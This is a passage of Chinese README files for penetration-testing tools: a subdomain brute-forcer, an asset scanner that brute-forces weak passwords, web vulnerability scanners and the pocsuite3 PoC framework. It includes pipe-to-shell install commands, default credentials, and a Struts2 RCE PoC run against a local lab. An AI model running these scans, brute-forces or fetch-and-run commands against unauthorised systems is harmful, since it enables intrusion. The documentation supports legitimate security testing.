宽带的下行速度，可以5M,5K,5G (default: \"3m\")\n   --resolvers value, -r value      dns服务器，默认会使用内置dns\n   --output value, -o value         输出文件名\n   --output-type value, --oy value  输出文件类型: json, txt, csv (default: \"txt\")\n   --silent                         使用后屏幕将仅输出域名 (default: false)\n   --retry value                    重试次数,当为-1时将一直重试 (default: 3)\n   --timeout value                  超时时间 (default: 6)\n   --stdin                          接受stdin输入 (default: false)\n   --not-print, --np                不打印域名结果 (default: false)\n   --eth value, -e value            指定网卡名称\n   --wild-filter-mode value         泛解析过滤模式[从最终结果过滤泛解析域名]: basic(基础), advanced(高级), none(不过滤) (default: \"none\")\n   --predict                        启用预测域名模式 (default: false)\n   --filename value, -f value       字典路径\n   --ns                             读取域名ns记录并加入到ns解析器中 (default: false)\n   --help, -h                       show help (default: false)\n\n# 示例:\n# 枚举多个域名\n./ksubdomain e -d example.com -d hacker.com\n\n# 从文件读取字典枚举，保存为 output.txt\n./ksubdomain e -f sub.dict -o output.txt\n\n# 从标准输入读取域名，带宽限制为 10M\ncat domains.txt | ./ksubdomain e --stdin -b 10M\n\n# 启用预测模式枚举域名，泛解析过滤，保存为csv\n./ksubdomain e -d example.com --predict --wild-filter-mode advanced --oy csv -o output.csv\n```\n\n## ✨ 特性与技巧\n\n*   **带宽自动适配:** 只需使用 `-b` 参数指定你的公网下行带宽 (如 `-b 10m`), KSubdomain 会自动优化发包速率。\n*   **测试最大速率:** 运行 `./ksubdomain test` 测试当前环境的最大理论发包速率。\n*   **自动网卡检测:** KSubdomain 会自动检测可用网卡。可通过环境变量 `KSubdomainEth` 指定网卡，或--eth制定网卡名称。\n*   **进度显示:** 实时进度条显示 成功数 / 发送数 / 队列长度 / 接收数 / 失败数 / 已耗时。\n*   **参数调优:** 根据网络质量和目标域名数量，调整 `--retry` 和 `--timeout` 参数以获得最佳效果。当 `--retry` 为 -1 时，将无限重试直至所有请求成功或超时。\n*   **多种输出格式:** 支持 `txt` (实时输出), `json` (完成后输出), `csv` (完成后输出)。通过 `-o` 指定文件名后缀即可 (如 `result.json`)。\n*   **环境变量配置:**\n    *   `KSubdomainConfig`: 指定配置文件的路径。\n    *   `KSubdomainEth`: 指定使用的网卡名称 (例如 `eth0`)。\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2020-09-02 发布文章[《ksubdomain 无状态域名爆破工具》](https://paper.seebug.org/1325/)\n- 2019-10-12 发布文章[《从 Masscan, Zmap 源码分析到开发实践》](https://paper.seebug.org/1052/)\n\n## 最近更新\n\n#### [v2.2.1] - 2025-04-13\n\n**更新**  \n1. **状态表优化:**  \n  - **分片锁 (Sharded Lock):** 替代全局锁，大幅减少锁竞争，提高并发写入效率。  \n  - **高效哈希:** 优化键值存储，均匀分布域名，提升查找速度。  \n2. **发包机制优化:**  \n  - **对象池:** 复用 DNS 包结构体，减少内存分配和 GC 开销。  \n  - **模板缓存:** 为相同 DNS 服务器复用以太网/IP/UDP 层数据，减少重复构建开销。  \n  - **并行发送:** 多协程并行发包，充分利用多核 CPU 性能。  \n  - **批量处理:** 批量发送域名请求，减少系统调用和上下文切换。  \n3. **接收机制优化:**  \n  - **对象池:** 复用解析器和缓冲区，降低内存消耗。  \n  - **并行处理管道:** 接收 → 解析 → 处理三阶段并行，提高处理流水线效率。  \n  - **缓冲区优化:** 增加内部 Channel 缓冲区大小，避免处理阻塞。  \n  - **高效过滤:** 优化 BPF 过滤规则和包处理逻辑，快速丢弃无效数据包。  \n4. **内存管理优化:**  \n  - **全局内存池:** 引入 `sync.Pool` 管理常用数据结构，减少内存分配和碎片。  \n  - **结构复用:** 复用 DNS 查询结构和序列化缓冲区。  \n5. **架构与并发优化:**  \n  - **动态并发:** 根据 CPU 核心数自动调整协程数量。  \n  - **高效随机数:** 使用性能更优的随机数生成器。  \n  - **自适应速率:** 根据网络状况和系统负载动态调整发包速率。  \n  - **批量加载:** 批量加载和处理域名，降低单个域名处理的固定开销。\n\n#### [v1.9.5] - 2022-03-31\n\n**更新**  \n- 增加suffix domain指定特定dns的提示  \n- 修复verify模式计算域名总量错误\n\n#### [v1.9.3] - 2022-03-24\n\n**更新**  \n- 增加编程接口，ksubdomain可作为一个库封装  \n- enum模式加入--ns参数，用于添加特定dns  \n- 修复域名太多时扫描卡住的问题  \n\n\n#### [v1.8.5] - 2022-03-06\n\n**优化**  \n- 修复高并发下出现的一处内存拷贝问题  \n- 优化泛解析时的错误处理\n\n#### [v1.8.1] - 2022-02-13\n\n**重构**  \n- 优化了代码结构，优化了go协程组织方式，代码易懂，解决了一些冲突问题  \n- 设计了一种新的算法，用来快速发包并且大大减少失败率  \n- 获取网卡改为了全自动并可以根据配置文件读取  \n- 增加有一个实时的进度条，依次显示成功/发送/队列/接收/失败/耗时信息\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/linglong.md",
    "content": "## linglong <https://github.com/awake1t/linglong>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-awake1t-orange)\n![GitHub stars](https://img.shields.io/github/stars/awake1t/linglong.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20210323-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n  一款资产巡航扫描系统。系统定位是通过masscan+nmap无限循环去发现新增资产，自动进行端口弱口令爆破/、指纹识别、XrayPoc扫描。主要功能包括: `资产探测`、`端口爆破`、`Poc扫描`、`指纹识别`、`定时任务`、`管理后台识别`、`报表展示`。 使用场景是Docker搭建好之后，设置好你要扫描的网段跟爆破任务。就不要管他了，没事过来收漏洞就行了\n\n### 功能清单\n\n- [x] masscan+namp巡航扫描资产\n- [x] 创建定时爆破任务(FTP/SSH/SMB/MSSQL/MYSQL/POSTGRESQL/MONGOD)\n- [x] 管理后台识别\n- [x] 结果导出\n- [x] 报表展示\n- [x] docker一键部署 [21-02-08] \n- [x] CMS识别 - 结合威胁情报、如果某个CMS爆出漏洞，可以快速定位企业内部有多少资产 [21-02-20]\n- [x] poc扫描 - 调用xray的Poc,对新发现的资产自动扫描poc [21-02-20]\n\n## 预览\ntip:如果图片加载不出来,[点我去gitee看图片](https://gitee.com/awake1t/linglong)\n\n**首页**\n![image](https://github.com/awake1t/linglong/raw/master/img/index.gif)\n\n**资产列表**\n![image](https://gitee.com/awake1t/linglong/raw/master/img/ip.png)\n\n**敏感后台**\n![image](https://gitee.com/awake1t/linglong/raw/master/img/login.png)\n\n**指纹管理**\n![image](https://github.com/awake1t/linglong/raw/master/img/finger.gif)\n\n**任务列表**\n![image](https://github.com/awake1t/linglong/raw/master/img/task.gif)\n\n**任务详情**\n![image](https://gitee.com/awake1t/linglong/raw/master/img/task-de.png)\n\n**xray**\n![image](https://gitee.com/awake1t/linglong/raw/master/img/xray.png)\n![image](https://gitee.com/awake1t/linglong/raw/master/img/xray-poc.png)\n\n**设置**\n![image](https://github.com/awake1t/linglong/raw/master/img/setting.gif)\n\n**管理后台识别**\n\n  不论甲方乙方。大家在渗透一个网站的时候，很多时候都想尽快找到后台地址。linglong对自己的资产库进行Title识别。然后根据title关键字、url关键字、body关键字(比如url中包含login、body中包含username/password)进行简单区分后台。帮助我们渗透中尽快锁定后台。 \n\n**指纹识别**\n\n  系统会对新发现的资产进行一遍指纹识别, 也可以手动新增指纹。比如某个CMS爆出漏洞，新增指纹扫描一遍系统中存在的资产。可以快速定位到漏洞资产，对于渗透打点或者甲方应急都是极好的\n\n**POC扫描**\n\n  对于任何一个扫描系统，poc扫描都是必不可少的。但是poc的更新一直是所有开源项目面临的一个问题。综合考虑用Xray的poc,系统集成的XRAY版本是1.7.0,感谢Xray对安全圈做出的贡献！ linglong会对每次新发现的资产进行一遍Xray的Poc扫描。如果发现漏洞会自动入库，可以可视化查看漏洞结果\n\n**资产巡航更新**\n\n  masscan可以无限扫描，但是对于失效资产我们也不能一直保存。linglong通过动态设置资产扫描周期，对于N个扫描周期都没有扫描到的资产会进行删除。保存资产的时效性\n\n\n## 安装\n\n### Docker安装\n\n#### 如果部署在本地体验(本地机器或者自己的虚拟机)\n\n如果是**本地体验**下，直接运行如下命令\n\n```bash\ngit clone https://github.com/awake1t/linglong\ncd linglong\ndocker-compose up -d\n```\n\n运行结束后,运行`docker container ls -a`看下是否运行正常\n\n![image](https://github.com/awake1t/linglong/raw/master/img/docker.png)\n\nweb访问 http://ip:8001\n登录账号:linglong\n登录密码:linglong5s\n\n\n| Web账号     | linglong | linglong5s |\n| ----------- | -------- | ---------- |\n| 类型        | 用户名   | 密码       |\n| mysql数据库 | root     | linglong8s |\n\n### 注: 首次运行在设置里修改扫描的网段范围,点击保存后就行了。然后耐心等待系统自动扫描，扫描耗时您配置的网段+端口+速率会有变化\n\n\n\n\n#### 如果部署在服务器上(地址不是127.0.0.1情况)\n\n```bash\ngit clone https://github.com/awake1t/linglong\ncd linglong/web\n\n# 把 YourServerIp 换成你的IP地址\nsed -i 's#http://127.0.0.1:18000#http://YourServerIp:18000#g' ./dist/js/app.4dccb236.js && sed -i 's#http://127.0.0.1:18000#http://YourServerIp:18000#g' ./dist/js/app.4dccb236.js.map\n\n\n# 重要！！！ 如果之前安装过，使用如下命令删除所有名字包含linglong的历史镜像\ndocker rmi $(docker images | grep \"linglong\" | awk '{print $3}') \n\n\n# 返回到 linglong的目录下\ncd ../\ndocker-compose up -d\n\n一般这时候就部署好了,如果访问不了. 要确认下服务器上安全组的8001和18000有没有打开.\n```\n![image](https://github.com/awake1t/linglong/raw/master/img/docker2.png)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/murphysec.md",
    "content": "## murphysec <https://github.com/murphysecurity/murphysec>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-murphysecurity-orange)\n![GitHub stars](https://img.shields.io/github/stars/murphysecurity/murphysec.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.10.0-red)\n![Time](https://img.shields.io/badge/Join-20220914-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n中文 | [EN](https://github.com/murphysecurity/murphysec/blob/v3/README.md)\n\n墨菲安全的 **CLI 工具**，用于在命令行检测指定目录代码的依赖安全问题，也可以基于 CLI 工具实现在 CI 流程的检测。\n\n## 功能\n1. 分析项目使用的依赖信息，包含直接和间接依赖\n2. 检测项目依赖存在的已知漏洞信息\n\n\n### 效果截图\n\n- CLI 运行结果\n\n  <img alt=\"cli output\" src=\"https://github.com/murphysecurity/murphysec/raw/v3/assets/cli.png\" width=\"80%\">\n\n- 检测结果页面\n\n  <img alt=\"scan result\" src=\"https://github.com/murphysecurity/murphysec/raw/v3/assets/scan-result.png\" width=\"80%\">\n  \n  <img alt=\"scan result\" src=\"https://github.com/murphysecurity/murphysec/raw/v3/assets/scan-detail-result.png\" width=\"80%\">\n\n## 目录\n\n1. [支持的语言](#支持的语言)\n2. [工作原理](#工作原理)\n3. [使用场景](#使用场景)\n4. [使用步骤](#使用步骤)\n5. [命令介绍](#命令介绍)\n6. [交流和问题反馈](#交流和问题反馈)\n7. [开源协议](#开源协议)\n\n## 支持的语言\n\n目前支持 Java、JavaScript、Golang、Python、PHP、C#、Ruby、Objective-C、.NET 语言项目的检测，后续会逐渐支持其他的开发语言。\n\n<table>\n <tr>\n     <th>语言</th>\n     <th>包管理工具</th>\n     <th>所需文件</th>\n </tr>\n <tr >\n     <td rowspan=\"2\">Java</td>\n     <td>Maven</td>\n      <td>pom.xml</td>\n\n </tr>\n <tr>\n     <td>Gradle</td>\n    <td>build.gradle, build.gradle.kts</td>\n\n </tr>\n\n  <tr >\n     <td>Go</td>\n     <td>Go Modules</td>\n      <td>go.mod</td>\n\n </tr>\n\n  <tr >\n     <td rowspan=\"2\">JavaScript</td>\n     <td>NPM</td>\n    <td>package.json, package-lock.json</td>\n\n </tr>\n <tr>\n     <td>Yarn</td>\n    <td>yarn.lock, package.json</td>\n\n\n  <tr >\n     <td rowspan=\"2\">Python</td>\n     <td>pip</td>\n    <td>requirements.txt</td>\n\n </tr>\n <tr>\n     <td>Poetry</td>\n    <td>poetry.lock</td>\n\n  <tr >\n     <td>PHP</td>\n     <td>Composer</td>\n      <td>composer.lock</td>\n\n </tr>\n\n  <tr >\n     <td>Ruby</td>\n     <td>Bundler</td>\n      <td>Gemfile.lock, gems.locked</td>\n\n </tr>\n   <tr >\n     <td>.NET</td>\n     <td>NuGet</td>\n      <td>packages.lock.json</td>\n\n </tr>\n   <tr >\n     <td>C#</td>\n     <td>NuGet</td>\n      <td>packages.lock.json</td>\n\n </tr>\n\n   <tr >\n     <td>Objective-C</td>\n     <td>Cocoapods</td>\n      <td>Podfile.lock</td>\n\n </tr>\n\n</table>\n\n详细的支持情况可以[查看文档](https://www.murphysec.com/docs/quick-start/language-support/)\n\n## 工作原理\n\n1. 对于使用不同语言/包管理工具的项目，墨菲安全的 CLI 工具主要采用`项目构建`或直接对`包管理文件`进行解析的方式，来准确获取到项目的依赖信息\n2. 项目的依赖信息会上传到服务端，并基于墨菲安全持续维护的`漏洞知识库`来识别项目中存在安全缺陷的依赖\n\n![cli-flowchart](https://github.com/murphysecurity/murphysec/raw/v3/assets/flowchart.png)\n\n> 说明：CLI 工具只会将检测项目的依赖和基本信息发送到墨菲安全服务端，用于识别存在安全缺陷的依赖，不会上传任何本地代码。\n\n\n## 使用场景\n1. 希望在本地环境中检测代码文件\n2. 希望集成到 CI 环境中对代码项目进行检测\n\n参考：[墨菲安全 CLI 与 Jenkins CI 的集成](https://www.murphysec.com/docs/integrations/jenkins/)\n\n\n\n## 使用步骤\n### 1. 安装\n\n访问 [GitHub Releases](https://github.com/murphysecurity/murphysec/releases/latest) 页面下载最新版本的墨菲安全 CLI，或执行以下相关命令：\n\n#### 在 Linux 上安装\n\n```\nwget -q https://s.murphysec.com/install.sh -O - | /bin/bash\n```\n\n#### 在 OSX 上安装\n\n```\ncurl -fsSL https://s.murphysec.com/install.sh | /bin/bash\n```\n\n#### 在 WINDOWS 上安装\n\n```\npowershell -Command \"iwr -useb https://s.murphysec.com/install.ps1 | iex\"\n```\n\n### 2.创建任务\n\n首先登录到墨菲安全控制台，创建任务的方式有以下三种\n\n- 方式1：在项目页面，点击项目右上角的加号选择接入\n- 方式2：进入指定项目，点击右上角的创建任务按钮接入\n- 方式3：进入指定项目，点击右上角的创建任务按钮，选择其他接入方式通过模板接入\n\n### 3. 获取访问令牌\n\n> CLI 工具需要使用墨菲安全账户的`访问令牌`进行认证才能正常使用。[访问令牌是什么？（点击查看详情）](https://www.murphysec.com/docs/guides/scan-scene/cli.html)\n\n方式1：\n\n进入[墨菲安全控制台](https://www.murphysec.com/)，点击`左下角个人设置`，点击`用户token` 复制`访问令牌`\n\n<img alt=\"scan result\" src=\"https://github.com/murphysecurity/murphysec/raw/v3/assets/acces-token1.png\" width=\"80%\">\n\n\n\n方式2： 任务创建页面最下方-->复制token \n\n<img alt=\"scan result\" src=\"https://github.com/murphysecurity/murphysec/raw/v3/assets/acces-token2.png\" width=\"80%\">\n\n\n\n### 4. 认证\n\n目前有两种认证方式可用：命令行交互认证、命令行参数认证\n\n#### 命令行交互认证\n执行`murphysec auth login`命令，粘贴访问令牌即可。\n\n\n> 认证后下次使用墨菲安全 CLI 无需再次执行此操作，如果需要更换访问令牌，可以重复执行此命令来覆盖旧的访问令牌。\n\n\n#### 命令行参数认证\n执行检测命令时，通过增加`--token`参数指定访问令牌进行认证\n\n### 4. 检测\n\n使用`murphysec scan`命令进行检测，可以执行以下命令：\n\n``` bash\nmurphysec scan [your-project-path]\n```\n\n可用的参数\n- `--token`：指定访问令牌\n- `--log-level`：指定命令行输出流打印的日志级别，默认不打印日志，可选参数为`silent`、`error`、`warn`、`info`、`debug`\n- `--json`：指定检测的结果输出为json，默认不展示结果详情\n\n\n### 5. 查看结果\n\nCLI 工具默认不展示结果详情，可以在[墨菲安全控制台](https://www.murphysec.com/project/list)-`项目`页面查看详细的检测结果\n\n\n\n## 命令介绍\n\n### murphysec auth\n`murphysec auth` 命令主要是管理 CLI 的认证\n\n```\nUsage:\n  murphysec auth [command]\n\nAvailable Commands:\n  login\n  logout\n```\n\n### murphysec scan\n`murphysec scan` 命令主要用于执行检测\n\n```\nUsage:\n  murphysec scan DIR [flags]\n\nFlags:\n  -h, --help                帮助\n      --task-id string   指定本次检测归属的项目ID\n\nGlobal Flags:\n  -x  --allow-insecure        允许不安全的TLS连接\n      --log-level string      指定输出日志信息的级别, 可以为 silent|error|warn|info|debug (默认为 \"silent\"， 不输出日志)\n      --network-log           打印网络数据\n      --no-log-file           不输出日志文件\n      --server string         指定服务地址\n      --token string          指定墨菲安全服务 Token\n  -v, --version               输出 CLI 版本\n      --write-log-to string   指定日志文件的路径\n\n```\n\n## 常见问题\n\n**1. Windows下安装失败，提示“PowerShell requires an execution policy of 'RemoteSigned'”**\n\nPowershell默认不允许从远程加载安装脚本，需要使用管理员权限打开Powershell窗口，并执行`Set-ExecutionPolicy RemoteSigned -scope CurrentUser`。随后执行安装命令即可成功。\n\n**2. 为什么我的 Java（maven） 项目检测结果依赖信息不完整？**\n\n* 本地是否配置了 Maven 环境，可使用`mvn -v`查看\n* 请检查 Maven 的源是否配置正确。如果是企业内部代码，通常需要配置公司的私有源地址。一般情况下可通过修改`~/.m2/settings.xml`进行配置\n* 请检查代码目录下是否存在`pom.xml`文件，也可通过 `mvn dependency:tree --file=\"pom.xml\"` 命令测试此项目本地是否可正常获取依赖\n\n**3. 为什么检测完依赖和缺陷组件数量都是0 ？**\n\n* 检查您的项目/文件是否在目前支持的检测范围内\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/myscan.md",
    "content": "## myscan <https://github.com/amcai/myscan>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-amcai-orange)\n![GitHub stars](https://img.shields.io/github/stars/amcai/myscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20201120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nmyscan是参考awvs的poc目录架构，pocsuite3、sqlmap等代码框架，以及搜集互联网上大量的poc，由python3开发而成的被动扫描工具。\n此项目源自个人开发项目，结合个人对web渗透，常见漏洞原理和检测的代码实现，通用poc的搜集，被动扫描器设计，以及信息搜集等思考实践。\n\n## 法律免责声明\n\n未经事先双方同意，使用myscan攻击目标是非法的。  \nmyscan仅用于安全测试目的\n\n## 运行原理\nmyscan依赖burpsuite和redis，需启动redis和burpsuite插入myscan的插件。\n\n依靠burp强大的抓包和解析数据包的功能，插件调取api把burp的请求体和响应体的处理数据整合成json数据传输到redis。\n\nmyscan调取redis数据，对每一个request/response数据包进行perfile(访问url)、perfolder(每一个目录)、perscheme(每一个数据包)分类去重，通过redis分发到各个子进程与运行相应的poc。\n\n![流程图](https://github.com/amcai/myscan/raw/master/docs/images/%E6%B5%81%E7%A8%8B%E5%9B%BE.png)\n\n## 演示地址\n\n[myscan演示视频](https://www.bilibili.com/video/BV1tV411f7p6/)\n\n## 如何运行\n\n平台要求:\n\n不支持Windows,目前仅支持Linux（Windows python多进程不会把变量共享过去）\n\n软件要求: \n\npython > 3.7.5 , redis-server ,(开发基于3.7.5，建议使用此版本，某些版本会出问题)\n\n```bash\n$ redis-server # 起一个redis服务，默认监听127.1:6379\n$ pip3 install -r requirements.txt 安装依赖\n$ # burpsuite安转扩展插件,默认连接127.1:6379\n$ python3 cli.py -h \n```\n\nExample:\n\n建议大批量测试时候禁用未授权,baseline，cors，jsonp等插件，指定输出:\n\n```\npython3 cli.py webscan --disable power baseline cors jsonp sensitive_msg_transfer host_inject --html-output test.html \n```\n大批量测试时只测试严重rce的poc，可在--enable筛选出来的的poc上再次通过--level 3，筛选严重等级的poc\n```\npython3 cli.py webscan --enable poc_ struts2 --level 3\n```\n把redis所有数据清除（即清除当前的所有任务队列），针对指定host，指定redis连接方式,默认输出到myscan_result_{num}.html，启动10个进程，某些poc线程为5\n\n```\npython3 cli.py webscan --host 127.0.0.1 192.168 --redis pass@127.0.0.1:6379:0 --clean --process 10 --threads 5\n```\n启动反连平台(服务器端)\n\n```\npython3 cli.py reverse\n```\n\n更多参数\n\n```\npython cli.py -h\n```\n\n## 检测插件\n\n目录扫描，重定向，XSS，SQL，XXE，CORS，JSONP，CRLF，CmdInject，敏感信息泄漏，Struts2，Thinkphp，Weblogic，Shiro... ，详见pocs目录，可根据数据包的特征，对每个参数进行测试，或者选择性测试，新的检测模块将不断添加。\n\n## 优势与不足\n\n* 支持--ipv6绕过防火墙， 优先解析域名为IPV6，前提是在支持IPV6的网站和网络上。\n\n* 内置反连平台，支持rmi，ldap，http，dnslog方式，可配置config.py部署在内外网，POC准确率高。\n* python代码开源，不会编程难写poc。\n* 依靠burp和redis，不用写监听程序和多进程处理数据容易，同时也严重依赖burp。\n* 自定义插件，比如把request/response数据包导入到elasticsearch，便于后续查询。\n* 通过redis，可分布式检测。\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/passive-scan-client.md",
    "content": "## passive-scan-client <https://github.com/c0ny1/passive-scan-client>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-c0ny1-orange)\n![GitHub stars](https://img.shields.io/github/stars/c0ny1/passive-scan-client.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.3.1-red)\n![Time](https://img.shields.io/badge/Join-20210120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n## Burp被动扫描流量转发插件\n\n\n### 0x01 插件简介\n\n```\nQ1: 将浏览器代理到被动扫描器上，访问网站变慢，甚至有时被封ip，这该怎么办？\nQ2: 需要人工渗透的同时后台进行被动扫描，到底是代理到burp还是被动扫描器？\nQ3: ......\n```\n\n该插件正是为了解决该问题，将`正常访问网站的流量`与`提交给被动扫描器的流量`分开，互不影响。\n\n![流程图](https://github.com/c0ny1/passive-scan-client/raw/master/doc/process.png)\n\n### 0x02 插件编译\n\n```\nmvn package\n```\n\n### 0x03 插件演示\n\n可以通过插件将流量转发到各种被动式扫描器中，这里我选`xray`来演示.\n\n![动图演示](https://github.com/c0ny1/passive-scan-client/raw/master/doc/show.gif)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v0.3.1] - 2023-02-03\n\n**更新**  \n- 添加url黑名单  \n- 添加右键`Send to Passive Scan Client`手动转发\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/pocsuite3.md",
    "content": "## pocsuite3 <https://github.com/knownsec/pocsuite3>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/pocsuite3.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.0-red)\n![Time](https://img.shields.io/badge/Join-20200821-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n## Legal Disclaimer\nUsage of pocsuite3 for attacking targets without prior mutual consent is illegal.\npocsuite3 is for security testing purposes only\n\n## 法律免责声明\n未经事先双方同意，使用 pocsuite3 攻击目标是非法的。\npocsuite3 仅用于安全测试目的\n\n## Overview\n\npocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the [**Knownsec 404 Team**](http://www.knownsec.com/). \nIt comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers.\n\n## Features\n* PoC scripts can running with `verify`, `attack`, `shell` mode in different way\n* Plugin ecosystem\n* Dynamic loading PoC script from anywhere (local file, redis, database, Seebug ...)\n* Load multi-target from anywhere (CIDR, local file, redis, database, Zoomeye, Shodan ...)\n* Results can be easily exported\n* Dynamic patch and hook requests \n* Both command line tool and python package import to use\n* IPv6 support\n* Global HTTP/HTTPS/SOCKS proxy support\n* Simple spider API for PoC script to use\n* YAML PoC support, compatible with [nuclei](https://github.com/projectdiscovery/nuclei)\n* Integrate with [Seebug](https://www.seebug.org) (for load PoC from Seebug website)\n* Integrate with [ZoomEye](https://www.zoomeye.org), [Shodan](https://www.shodan.io), etc.  (for load target use `Dork`)\n* Integrate with [Ceye](http://ceye.io/), [Interactsh](https://github.com/projectdiscovery/interactsh) (for verify blind DNS and HTTP request)\n* Friendly debug PoC scripts with IDEs\n* More ...\n\n## Screenshots\n\n### pocsuite3 console mode\n[![asciicast](https://asciinema.org/a/219356.png)](https://asciinema.org/a/219356)\n\n### pocsuite3 shell mode\n[![asciicast](https://asciinema.org/a/203101.png)](https://asciinema.org/a/203101)\n\n### pocsuite3 load PoC from Seebug \n[![asciicast](https://asciinema.org/a/207350.png)](https://asciinema.org/a/207350)\n\n### pocsuite3 load multi-target from ZoomEye\n[![asciicast](https://asciinema.org/a/133344.png)](https://asciinema.org/a/133344)\n\n### pocsuite3 load multi-target from Shodan\n[![asciicast](https://asciinema.org/a/207349.png)](https://asciinema.org/a/207349)\n\n### pocsuite3 load nuclei template\n![](https://github.com/knownsec/pocsuite3/raw/master/asset/img/yaml_poc_showcase.png)\n\n### build a docker vulnerability environment\n**require Docker**\n\nwrite dockerfile in poc\n```python\nclass DemoPOC(POCBase):\n    vulID = ''  # ssvid\n    version = '1.0'\n    author = ['']\n    vulDate = '2029-5-8'\n    createDate = '2019-5-8'\n    updateDate = '2019-5-8'\n    references = ['']\n    name = 'Struts2 045 RCE CVE-2017'\n    appPowerLink = ''\n    appName = 'struts2'\n    appVersion = ''\n    vulType = ''\n    desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''\n    samples = []\n    category = POC_CATEGORY.EXPLOITS.WEBAPP\n    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''\n```\n#### only run vulnerable environments\n```python\npocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py  --docker-start  --docker-port 127.0.0.1:8080:8080 --docker-env A=test --docker-port 8899:7890\n\n,------.                        ,--. ,--.       ,----.   {2.0.6-cc19ae5}\n|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |\n|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <\n|  | --'' '-' \\ `--.-'  `'  ''  |  | |  | \\   --/'-'  |\n`--'     `---' `---`----' `----'`--' `--'  `----`----'   https://pocsuite.org\n[*] starting at 15:34:12\n\n[15:34:12] [INFO] loading PoC script 'pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'\n[15:34:12] [INFO] Image struts2_045_rce_cve-2017:pocsuite exists\n[15:34:12] [INFO] Run container fa5b3b7bb2ea successful!\n[15:34:12] [INFO] pocsusite got a total of 0 tasks\n[15:34:12] [INFO] Scan completed,ready to print\n```\n\n#### run vulnerable environments and run poc \n```python\n pocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py -u http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action --docker-start  --docker-port 127.0.0.1:8080:8080 \n\n,------.                        ,--. ,--.       ,----.   {2.0.6-cc19ae5}\n|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |\n|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <\n|  | --'' '-' \\ `--.-'  `'  ''  |  | |  | \\   --/'-'  |\n`--'     `---' `---`----' `----'`--' `--'  `----`----'   https://pocsuite.org\n[*] starting at 15:38:46\n\n[15:38:46] [INFO] loading PoC script 'pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'\n[15:38:46] [INFO] Image struts2_045_rce_cve-2017:pocsuite exists\n[15:38:47] [INFO] Run container 1a6eae1e8953 successful!\n[15:38:47] [INFO] pocsusite got a total of 1 tasks\n[15:38:47] [INFO] running poc:'Struts2 045 RCE CVE-2017' target 'http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action'\n[15:39:17] [+] URL : http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action\n[15:39:17] [+] Headers : {'Server': 'Apache-Coyote/1.1', 'nyvkx': '788544', 'Set-Cookie': 'JSESSIONID=0A9892431B32A541B51D4721FA0D2728; Path=/S2-032-showcase/; HttpOnly', 'Content-Type': 'text/html;charset=ISO-8859-1', 'Transfer-Encoding': 